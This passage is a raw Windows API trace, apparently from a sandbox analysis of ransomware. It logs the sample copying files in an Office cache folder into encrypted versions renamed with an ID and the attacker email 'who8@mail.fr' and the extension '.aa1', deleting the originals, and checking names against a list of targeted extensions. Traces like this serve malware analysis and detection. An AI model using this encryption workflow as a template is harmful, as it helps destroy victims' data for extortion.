Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0222.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.711] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0222.760] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.760] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.760] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0222.761] GetLastError () returned 0x0 [0222.761] ReadFile (in: hFile=0x178, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0222.822] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0222.842] ReadFile (in: hFile=0x178, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x50588, lpOverlapped=0x0) returned 1 [0222.870] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0222.880] ReadFile (in: hFile=0x178, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.880] WriteFile (in: hFile=0x188, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0222.881] SetEndOfFile (hFile=0x188) returned 1 [0222.890] CloseHandle (hObject=0x188) returned 1 [0222.890] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.890] SetEndOfFile (hFile=0x178) returned 1 [0222.896] CloseHandle (hObject=0x178) returned 1 [0222.896] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.897] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0222.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.897] lstrlenW (lpString=".doc") returned 4 [0222.897] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0222.897] lstrlenW (lpString=".docx") returned 5 [0222.897] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0222.897] lstrlenW (lpString=".pdf") returned 4 [0222.897] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0222.897] lstrlenW (lpString=".xls") returned 4 [0222.897] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0222.897] lstrlenW (lpString=".xlsx") returned 5 [0222.897] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0222.897] lstrlenW (lpString=".ppt") returned 4 [0222.897] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0222.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.897] lstrlenW (lpString=".zip") returned 4 [0222.897] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0222.897] lstrlenW (lpString=".rar") returned 4 [0222.897] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0222.897] lstrlenW (lpString=".bz2") returned 4 [0222.897] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0222.897] lstrlenW (lpString=".7z") returned 3 [0222.898] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0222.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.898] lstrlenW (lpString=".dbf") returned 4 [0222.898] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0222.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.898] lstrlenW (lpString=".1cd") returned 4 [0222.898] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0222.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.898] lstrlenW (lpString=".jpg") returned 4 [0222.898] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0222.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.899] lstrlenW (lpString=".doc") returned 4 [0222.899] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0222.899] lstrlenW (lpString=".docx") returned 5 [0222.899] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0222.899] lstrlenW (lpString=".pdf") returned 4 [0222.899] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0222.899] lstrlenW (lpString=".xls") returned 4 [0222.899] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0222.899] lstrlenW (lpString=".xlsx") returned 5 [0222.899] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0222.899] lstrlenW (lpString=".ppt") returned 4 [0222.899] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0222.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.899] lstrlenW (lpString=".zip") returned 4 [0222.899] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0222.899] lstrlenW (lpString=".rar") returned 4 [0222.899] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0222.899] lstrlenW (lpString=".bz2") returned 4 [0222.899] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0222.899] lstrlenW (lpString=".7z") returned 3 [0222.899] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0222.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.899] lstrlenW (lpString=".dbf") returned 4 [0222.899] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0222.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.899] lstrlenW (lpString=".1cd") returned 4 [0222.899] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0222.899] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0222.900] lstrlenW (lpString=".jpg") returned 4 [0222.900] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0222.900] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0222.900] lstrlenW (lpString="ose.exe") returned 7 [0222.900] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.916] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=174440) returned 1 [0222.916] CloseHandle (hObject=0x1a0) returned 1 [0222.916] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0222.916] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.916] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.916] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.916] GetLastError () returned 0x0 [0222.916] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0223.416] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0223.420] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0223.420] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0223.420] SetEndOfFile (hFile=0x1e4) returned 1 [0223.420] CloseHandle (hObject=0x1e4) returned 1 [0223.421] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.421] SetEndOfFile (hFile=0x1a0) returned 1 [0223.423] CloseHandle (hObject=0x1a0) returned 1 [0223.423] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0223.423] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0223.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.423] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.423] lstrlenW (lpString=".doc") returned 4 [0223.423] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0223.423] lstrlenW (lpString=".docx") returned 5 [0223.424] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0223.424] lstrlenW (lpString=".pdf") returned 4 [0223.424] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0223.424] lstrlenW (lpString=".xls") returned 4 [0223.424] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0223.424] lstrlenW (lpString=".xlsx") returned 5 [0223.424] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0223.424] lstrlenW (lpString=".ppt") returned 4 [0223.424] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0223.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.424] lstrlenW (lpString=".zip") returned 4 [0223.424] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0223.424] lstrlenW (lpString=".rar") returned 4 [0223.424] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0223.424] lstrlenW (lpString=".bz2") returned 4 [0223.424] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0223.424] lstrlenW (lpString=".7z") returned 3 [0223.424] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0223.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.424] lstrlenW (lpString=".dbf") returned 4 [0223.424] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0223.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.424] lstrlenW (lpString=".1cd") returned 4 [0223.424] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0223.424] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.424] lstrlenW (lpString=".jpg") returned 4 [0223.424] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0223.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.425] lstrlenW (lpString=".doc") returned 4 [0223.425] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0223.425] lstrlenW (lpString=".docx") returned 5 [0223.425] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0223.425] lstrlenW (lpString=".pdf") returned 4 [0223.425] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0223.425] lstrlenW (lpString=".xls") returned 4 [0223.425] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0223.425] lstrlenW (lpString=".xlsx") returned 5 [0223.425] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0223.425] lstrlenW (lpString=".ppt") returned 4 [0223.425] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0223.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.425] lstrlenW (lpString=".zip") returned 4 [0223.425] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0223.425] lstrlenW (lpString=".rar") returned 4 [0223.425] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0223.425] lstrlenW (lpString=".bz2") returned 4 [0223.425] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0223.425] lstrlenW (lpString=".7z") returned 3 [0223.425] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0223.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.425] lstrlenW (lpString=".dbf") returned 4 [0223.425] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0223.425] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.426] lstrlenW (lpString=".1cd") returned 4 [0223.426] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0223.426] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0223.426] lstrlenW (lpString=".jpg") returned 4 [0223.426] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0223.426] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0223.426] lstrlenW (lpString="osetup.dll") returned 10 [0223.426] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0223.426] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=7378792) returned 1 [0223.426] CloseHandle (hObject=0x1a0) returned 1 [0223.426] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0223.427] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.427] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0223.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0223.814] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0x0) returned 1 [0223.814] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0223.814] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.114] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.114] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.195] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x301fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0224.195] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x301fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.195] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x301fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.243] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.243] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0224.363] SetEndOfFile (hFile=0x1a0) returned 1 [0224.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd3008 [0224.447] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.447] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.449] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.449] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.451] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.451] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd3008 | out: hHeap=0x4f0000) returned 1 [0224.453] CloseHandle (hObject=0x1a0) returned 1 [0224.453] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.453] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.453] lstrlenW (lpString=".doc") returned 4 [0224.453] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.453] lstrlenW (lpString=".docx") returned 5 [0224.453] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0224.454] lstrlenW (lpString=".pdf") returned 4 [0224.454] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.454] lstrlenW (lpString=".xls") returned 4 [0224.454] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.454] lstrlenW (lpString=".xlsx") returned 5 [0224.454] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0224.454] lstrlenW (lpString=".ppt") returned 4 [0224.454] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.454] lstrlenW (lpString=".zip") returned 4 [0224.454] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.454] lstrlenW (lpString=".rar") returned 4 [0224.454] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.454] lstrlenW (lpString=".bz2") returned 4 [0224.454] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.454] lstrlenW (lpString=".7z") returned 3 [0224.454] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.454] lstrlenW (lpString=".dbf") returned 4 [0224.454] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.454] lstrlenW (lpString=".1cd") returned 4 [0224.454] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.454] lstrlenW (lpString=".jpg") returned 4 [0224.454] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.454] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0224.455] lstrlenW (lpString=".doc") returned 4 [0224.455] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.455] lstrlenW (lpString=".docx") returned 5 [0224.455] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0224.455] lstrlenW (lpString=".pdf") returned 4 [0224.455] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.455] lstrlenW (lpString=".xls") returned 4 [0224.455] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.455] lstrlenW 